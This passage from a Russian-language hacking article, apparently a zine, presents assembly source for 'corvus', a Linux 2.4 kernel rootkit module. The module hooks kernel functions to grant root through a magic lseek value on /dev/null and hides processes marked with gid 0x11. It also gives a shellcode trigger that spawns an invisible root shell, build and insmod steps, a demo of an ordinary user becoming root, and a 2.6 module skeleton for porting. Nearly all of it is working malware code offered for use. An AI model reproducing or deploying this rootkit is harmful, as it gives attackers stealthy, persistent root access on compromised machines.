    movl %ebx, (%edx)

    movl gid_offs, %edx
    addl %eax, %edx
    movl $0x11, (%edx)

    popl %ebx
    popl %edx
    xorl %eax, %eax
    ret

#################################################################
# hide process
proc_code:
    movl $0xffffe000, %eax
    andl %esp, %eax

    movl arg_offs, %edx
    test %edx, %edx
    .word 0x0e75

    xorl %edx, %edx
    test %edi, %edi
    .word 0x0178
    incl %edx
    incl %edx
    movl %edx, arg_offs

    addl gid_offs, %eax
    movl (%eax), %eax
    cmpl $0x11, %eax
    .word 0x1e74

    movl arg_offs, %eax
    cmp $1, %eax
    .word 0x047f
    movl %edi, %eax
    .word 0x02eb
    movl %esi, %eax
    addl gid_offs, %eax

    cmpl $0x11, (%eax)
    .word 0x0375
    xorl %eax, %eax
    ret

    movl orig_addr, %eax
    push %eax
    ret

#################################################################
.data

uid_offs:    .long 0
gid_offs:    .long 0
orig_addr:   .long 0
arg_offs:    .long 0

proc_func_addr:  .long  0xc0154bb0  # grep proc_pid_make_inode /boot/System.map
root_func_addr:  .long  0xc01c45b0  # grep null_lseek /boot/System.map

.section .modinfo
.string "kernel_version=2.4.20"
.string "license=GPL"

    Вобщем-то юзать так:

    # as -o corvus.o corvus.s
    # insmod corvus.o
    #

 Теперь шелл. Вот такой:

 .globl _start
_start:

  # open ()
  cdq
  push %edx
  pushw $0x6c6c
  pushl $0x756e2f76
  pushl $0x65642f2f
  movl %esp, %ebx
  movl %edx, %ecx
  push $5
  popl %eax
  int $128

  # lseek()
  push %eax
  movl %eax, %ebx
  movl $0xdefaced, %ecx
  mov $19, %eax
  int $128

  # close()
  popl %ebx
  push $6
  popl %eax
  int $128

  # setregid()
  push $0x11
  popl %ebx
  movl %ebx, %ecx
  push $71
  popl %eax
  int $128

  # exec()
  push %edx
  push $0x68732f6e
  push $0x69622f2f
  movl %esp, %ebx
  pushl %edx
  pushl %ebx
  movl %esp, %ecx
  push $11
  popl %eax
  int $128

  # exit()
  xorl %eax, %eax
  incl %eax
  int $128

  Вот что он делает:

   получение рута:
                  fd = open(/dev/null, rdonly)
                  lseek(fd, 0xdefaced, 0)
                  close(fd)
   прятанье процесса:
                  setregid(0x11, 0x11)

            (на всякий случай, хотя вообще то получение рута даёт gid=0x11)

                   execve(/bin/sh)
                   exit()

    $ id
    uid=1001(mickey) gid=100(users) groups=users
    $ as -o shell.o shell.s
    $ ld -o shell shell.o
    $ ./shell
    sh-2.05a# id
    uid=0(root) gid=17
    sh-2.05a#

     Такие  вот  дела.  Этот шелл и порождённые им процессы будут невидимы, ибо
  наследуют  gid  ==  17  (0x11).  Невидимые  же  процессы  друг  друга  видеть
  могут.

  В include/linux_mod/ лежат сорцы и всё что надо. Юзать corvus например так:

    # ./make.sh  (создаст папку с версией ядра и в ней собранные модули будут)
    # ls 2.4.20/
    corvus.o   give_root.o   hide_proc.o

    give_root - модуль только даёт рута
    hide_proc - модуль только прячет процессы
    corvus    - модуль делает и то и то )

    но для большей гибкости он разбит на два give_root и hide_proc =)


==[2]  kernel loadable module 2.6.x ]]=========================================

    В 2.6 очень сильно поменяли формат модулей, теперь там модуль разбит на
    такие секции:

    .init.text  (executable, allocate, read-only, bla bla bla)
      здесь должен лежать код init_module

    .exit.text  (executable, allocate, read-only, bla bla bla)
      здесь должен быть код cleanup_module

    .text       (executable, allocate, read-only, bla bla bla)
      код модуля

    .modinfo    (не требуется загрузка в ядро)
      инфа о лицензии модуля и под какое ядро собрано. В 2.6 вместо директивы
      kernel_version появилась vermagic в которой указывается и ядро, и
      архитектура и прочее. например:

      vermagic=2.6.21.3-smp SMP preempt mod_unload 686

    .gnu.linkonce.this_module (allocate, link-once)
      здесь должна лежать пустая структура module, заполнено должно быть только
      поле с именем модуля (оффсет 0x0c).



    Вот пример пустого модуля на ассемблере под ядро 2.6:

    .text
    evil_code:
        xorl %eax, %eax
        ret

    .section .init.text, "ax"
    init_module:
        xorl %eax, %eax
        ret

    .section .exit.text, "ax"
    cleanup_module:
        ret

    .data
    .section .modinfo
    .string "kernel_version=2.6.21.3-smp"
    .string "license=GPL"
    .string "vermagic=2.6.21.3-smp SMP preempt mod_unload 686"

    .section .gnu.linkonce.this_module, "a"
    __this_module:
    .long 0
    .long 0
    .long 0
    .ascii "hack"
    .space 0x1200


    Портирование под 2.6 пожалуй будет темой отдельной статьи ) Так что have
    fun с тем что есть ну и эксперементируйте )